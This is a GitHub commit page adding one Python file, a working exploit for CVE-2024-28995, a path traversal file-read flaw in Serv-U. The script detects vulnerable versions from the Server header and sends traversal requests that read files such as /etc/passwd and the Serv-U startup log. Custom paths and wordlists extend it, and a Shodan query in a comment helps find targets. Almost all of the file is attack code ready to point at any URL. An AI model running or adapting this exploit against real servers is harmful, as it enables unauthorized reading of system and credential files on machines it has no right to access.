Skip to content

Commit

Permalink
First Commit
Browse files Browse the repository at this point in the history
  • Loading branch information
Stuub committed Jul 1, 2024
0 parents commit b3b9d5d
Showing 1 changed file with 157 additions and 0 deletions.
157 changes: 157 additions & 0 deletions CVE-2024-28995.py
Original file line number Diff line number Diff line change
@@ -0,0 1,157 @@
import requests
import argparse
import re

# Shodan:
# Serv-U product:"Rhinosoft Serv-U httpd"

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# ANSI
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
PURPLE = "\033[95m"
CYAN = "\033[96m"
RESET = "\033[0m"

def banner():
print(f'''{YELLOW}
,,
.M"""bgd `7MM `7MMF' `7MF'
,MI "Y MM MM M
`MMb. .gP"Ya `7Mb,od8 `7M' `MF' .gP"Ya ,M""bMM MM M
`YMMNq. ,M' Yb MM' "' VA ,V ,M' Yb ,AP MM MM M
. `MM 8M"""""" MM VA ,V 8M"""""" 8MI MM MM M
Mb dM YM. , MM VVV YM. , `Mb MM YM. ,M
P"Ybmmd" `Mbmmd' .JMML. W `Mbmmd' `Wbmd"MML. `bmmmmd"'
{RESET}Developed by: {PURPLE}@stuub{RESET}
Github: {CYAN}https://github.com/stuub
{RESET}''')

def get_servu_version(url):
try:
response = requests.get(url, verify=False)
if response.status_code == 200:
server_header = response.headers.get('Server', '')
match = re.search(r'Serv-U/(\d \.\d \.\d )', server_header)
if match:
return match.group(1)
return None
except requests.RequestException as e:
print(f"{RED}[!] Request Exception: {str(e)}{RESET}")
return None

def is_vulnerable_version(version):
vulnerable_version = "15.4.2"
return version_compare(version, vulnerable_version) <= 0

def version_compare(version1, version2):
def normalize(v):
return [int(x) for x in re.sub(r'(\.0 )*$', '', v).split(".")]

parts1 = normalize(version1)
parts2 = normalize(version2)

for part1, part2 in zip(parts1, parts2):
if part1 < part2:
return -1
if part1 > part2:
return 1
return 0

def is_html_content(response_text):
return bool(re.search(r'<!DOCTYPE\s html|<html', response_text, re.IGNORECASE))

def test_path(url, path):
full_url = f"{url.rstrip('/')}{path}"
print(f"{YELLOW}[*]{RESET} Testing File Read with path: {YELLOW}{full_url}{RESET}")
try:
response = requests.get(full_url, verify=False)
if response.status_code == 200 and not is_html_content(response.text):
print(f"{GREEN}[ ]{RESET} File Read Exploited successfully with path {YELLOW}{full_url}{RESET}")
print(f"\n{GREEN}Content:{RESET}\n{response.text.strip()}\n")
return True
else:
print(f"{RED}[-]{RESET} Not Found or HTML Content: {YELLOW}{path}{RESET}\n")
except requests.RequestException as e:
print(f"{RED}[!]{RESET} Request Exception: {str(e)}")
return False

def test_lfi_vulnerability(url, default_paths, custom_path=None, wordlist=None):
try:
print(f"{YELLOW}[*]{RESET} Checking if {url} is running vulnerable Serv-U...")
version = get_servu_version(url)
if version is None:
print(f"{RED}[-]{RESET} Serv-U server not detected")
return

if not is_vulnerable_version(version):
print(f"{RED}[-]{RESET} Serv-U version {version} detected. This version is not vulnerable. Exiting.")
return
else:
print(f"{GREEN}[ ]{RESET} Serv-U version {version} detected. This version is vulnerable.\n")

# Test default paths first
os_detected = None
for path_name, path in default_paths.items():
if test_path(url, path):
print(f"{GREEN}[ ]{RESET} Target OS: {YELLOW}{path_name.upper()}")
os_detected = path_name
break

# Test custom path if provided
if custom_path:
custom_dir = f"/../../../../../../../../../../../../../../{custom_path['dir']}"
custom_full_path = f"/?InternalDir={custom_dir}&InternalFile={custom_path['file']}"
print(f"{YELLOW}[*]{RESET} Testing custom path for File Read...")
if test_path(url, custom_full_path):
print(f"{GREEN}[ ]{RESET} Custom path {custom_path['dir']}/{custom_path['file']} exploited successfully")

# Test wordlist paths if provided
if wordlist:
print(f"{YELLOW}[*]{RESET} Testing File Read with wordlist paths...")
with open(wordlist, 'r') as file:
for line in file:
wordlist_path = line.strip()
full_wordlist_path = f"/../../../../../../../../../../../../../{wordlist_path}"
if test_path(url, full_wordlist_path):
break

except requests.RequestException as e:
print(f"{RED}[!] Request Exception: {str(e)}{RESET}")

def main():
parser = argparse.ArgumentParser(description="CVE-2024-28995 Exploit")
parser.add_argument("-u", "--url", help="URL to exploit", required=True)
parser.add_argument("-d", "--dir", help="Directory path for File Read (e.g., ProgramData/RhinoSoft/Serv-U/)")
parser.add_argument("-f", "--file", help="File to read for File Read (e.g., Serv-U-StartupLog.txt or passwd)")
parser.add_argument("-w", "--wordlist", help="Wordlist for additional paths to test")
args = parser.parse_args()

url = args.url
custom_dir_path = args.dir
custom_file = args.file
wordlist = args.wordlist

default_paths = {
"windows": "/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt",
"linux": "/?InternalDir=/../../../../etc&InternalFile=passwd"
}

custom_path = None
if custom_dir_path and custom_file:
custom_path = {"dir": custom_dir_path, "file": custom_file}

try:
banner()
print(f"\n{YELLOW}[*]{RESET} Testing File Read vulnerability for {url}...{RESET}\n")
test_lfi_vulnerability(url, default_paths, custom_path, wordlist)
except KeyboardInterrupt:
print(f"\n{RED}[!]{RESET} Keyboard interrupt received. Exiting...")

if __name__ == "__main__":
main()

0 comments on commit b3b9d5d

Please sign in to comment.